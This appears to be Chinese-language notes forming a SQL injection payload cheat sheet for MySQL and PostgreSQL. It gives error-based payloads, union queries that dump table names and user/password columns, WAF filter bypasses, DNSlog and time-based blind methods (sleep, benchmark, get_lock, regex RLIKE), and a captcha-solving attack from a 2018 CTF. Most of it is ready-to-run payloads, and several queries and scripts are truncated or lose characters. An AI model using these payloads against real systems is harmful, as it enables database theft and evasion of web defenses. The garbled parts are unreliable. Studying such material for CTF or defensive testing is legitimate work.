报错注入函数
floor报错, Mysql5.0及以上版本都能用的报错函数:floor
select from test where id=1 and (select 1 from (select count(\),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数
ExtractValue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
UpdateXML()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
ps: updatexml报错函数的结果有32位的长度限制
- 一些函数在Mysql 5.0.中存在但是不会报错,5.1后才可以报错
geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
exp()
select * from test where id=1 and exp(~(select * from(select user())a));
- 在MySQL5.7中多了很多能报错的函数
ST_LatFromGeoHash()
select ST_LatFromGeoHash(version());
ST_LongFromGeoHash()
select ST_LongFromGeoHash(version());
GTID_SUBSET()
select GTID_SUBSET(version());
ps: 报错信息有长度限制140
GTID_SUBTRACT()
select GTID_SUBTRACT(version());
ST_PointFromGeoHash()
select ST_PointFromGeoHash(version());
- 其他数据库中也可以使用不同的方法构成报错:
1 | PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- |
通用注入语句:
- 表名
1 | select group_concat(distinct table_name) from information_schema.tables where table_schema=database() |
- 列名
1 | select group_concat(distinct column_name) from information_schema.columns where table_name=[16进制|`table_name`] |
- 数据库
1 | select group_concat(schema_name) from information_schema.schemata |
- 表内容
1
select 1,concat(user, 0x2c, password) from [table_name]
运算符优先级:
1 | 优先级 运算符 |
union select 不允许同时出现
过滤正则表达式如下:
1 | union[\s\xA0]+select |
可以使用union all select绕过
select过滤
se%00lect绕过
– 注释
–后边不允许添加任何空白字符
过滤正则表达式如下:
–[\s\xA0]
还可以使用%1a
–%1a绕过
where后边跟着sleep函数
select * from table_name where sleep(2) or 1 = 2;
如果1=2,则会等待(2*该表中的记录数)秒,没有数据返回
如果1=1,则会立即返回所有数据
@'
相当于 NULL
select group_concat(ip)’’ from client_ip;
DNSlog盲注
DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
sleep 不能填数字,可以使用pi()替代
各种payload:1
select * from antisqli where `id`='\' and `pw`=md5(' union select 1,2,3--')
1 | 644400 union select 'z1',flag,'z3','z4' from flag order by password desc# |
关键词union,select,from被过滤,可以考虑%00绕过
1 | //过滤sql |
某些情况下SQL关键词被过滤掉并且被替换成空格。因此我们用“%0b”来绕过。
id=1+uni%0bon+se%0blect+1,2,3–
Mysql大小写不敏感,绕过检测
heavy query
笛卡尔积运算
select from content where id = 1 and 1 and (SELECT count() FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);
1 | import requests |
Get_lock
get_lock是mysql的锁机制
- get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。
- 当调用release_lock来释放上面的锁或者客户端断线,上面的锁才释放,其他的客户端才能进来
打开两个cmd
cmd1:
1 | mysql> select get_lock('skysec.top',1); |
cmd2:
1 | mysql> select get_lock('skysec.top',5); |
cmd1:
1 | mysql> select get_lock('skysec.top',2); |
关闭cmd1,cmd2执行:
1 | mysql> select get_lock('skysec.top',5); |
cmd1关闭之后,锁自动释放,方案不是最佳,原因,该方法需要前提,长连接一般在php版本系列中,我们建立与Mysql的连接使用的是mysql_connect
。
1 | mysql_connect() 脚本一结束,到服务器的连接就被关闭 |
官方描述:
1 | mysql_pconnect() 和 mysql_connect() 非常相似,但有两个主要区别。 |
所以:
我们的时间盲注必须基于我们请求加锁的资源已经被其他客户端加锁过了 而mysql_connect()一结束,就会立刻关闭连接 这就意味着,我们刚刚对资源skysec.top
加完锁就立刻断开了 而get_lock一旦断开连接,就会立刻释放资源 那么也就破坏了我们的前提:我们请求加锁的key已经被其他客户端加锁过了 所以如果使用了mysql_connect()
,那么get_lock的方法将不适用 而mysql_pconnect()
建立的却是长连接,我们的锁可以在一段有效的时间中一直加持在特定资源上 从而使我们可以满足大前提,而导致新的time injection手法 当然这里还有一个注意点 即第一次加锁后,需要等待1~2分钟,再访问的时候服务器就会判断你为客户B,而非之前加锁的客户A 此时即可触发get_lock 同样我们也本地测试一下,还是之前的cmd1和cmd2
cmd1:
1 | mysql> select * from content where id = 1 and get_lock('skysec.top',1); |
cmd2:
1 | mysql> select * from content where id =1 and 1 and get_lock('skysec.top',5); |
脚本如下:
1 | # -*- coding: utf-8 -*- |
总结:
必须使用长连接,即使用mysql_pconnect()
构造被加锁的数据
1.以客户A的身份,对资源skysec.top进行加锁
2.等待90s,让服务器将我们下一次的查询当做客户B
3.利用客户B去尝试对资源skysec.top进行加锁,由于资源已被加锁,导致延时
Rlike
正则表达式
1 | concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b' |
以上代码等同于sleep(5)
1 | mysql> select * from content where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1'; |
sleep
1 | mysql> select sleep(5); |
BENCHMARK
1 | mysql> select benchmark(10000000,sha(1)); |
带验证码的sql注入
案例: swpuctf 2018 Injection ???
- nosql注入: mongodb注入
- pytesseract: 可自动识别验证码
安装pytesseract库:
1 | sudo pip3 install pytesseract |
1 | #!/usr/bin/env python3 |